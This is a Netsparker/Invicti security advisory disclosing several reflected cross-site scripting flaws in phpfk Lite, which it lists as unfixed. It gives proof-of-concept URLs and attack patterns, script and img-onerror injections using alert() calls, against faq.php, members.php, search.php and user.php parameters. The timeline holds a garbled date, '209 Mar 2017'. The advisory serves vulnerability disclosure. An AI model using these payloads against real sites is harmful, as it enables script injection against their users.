Multiple Reflected XSS Vulnerabilities in phpfk Lite
Information
Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in phpfk
Affected Software: phpfk
Affected Versions: Lite
Vendor Homepage: http://www.frank-karau.de/
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-030
Technical Details
Proof of Concept URLs for XSS vulnerabilities in phpfk Lite;
URL: /phpfk-lite-version/faq.php?'"--></style></scRipt><scRipt>alert(0x001C10)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001C10)</scRipt>
URL: /phpfk-lite-version/members.php?search="><iMg src=N onerror=alert(9)>&sort=username
Parameter Name: search
Parameter Type: GET
Attack Pattern: %22%3e%3ciMg+src%3dN+onerror%3dalert(9)%3e
URL: /phpfk-lite-version/members.php?'"--></style></scRipt><scRipt>alert(0x0016F1)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0016F1)</scRipt>
URL: /phpfk-lite-version/members.php
Parameter Name: search
Parameter Type: POST
Attack Pattern: %22%3e%3ciMg+src%3dN+onerror%3dalert(9)%3e
URL: /phpfk-lite-version/search.php?'"--></style></scRipt><scRipt>alert(0x00171C)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00171C)</scRipt>
URL: /phpfk-lite-version/user.php?user='"--></style></scRipt><scRipt>alert(0x004DB0)</scRipt>
Parameter Name: user
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x004DB0)</scRipt>
URL: /phpfk-lite-version/user.php?user='"--></style></scRipt><scRipt>alert(0x00D3B1)</scRipt>&action=login&name=&passwd=&submit=Anmelden&cookie=
Parameter Name: user
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00D3B1)</scRipt>
For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).
Advisory Timeline
209 Mar 2017 – Issue reported.
16 Jun 2017 – Advisory released.
Solution
No solution is available at the time of publishing this advisory.
Credits & Authors
These issues have been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.
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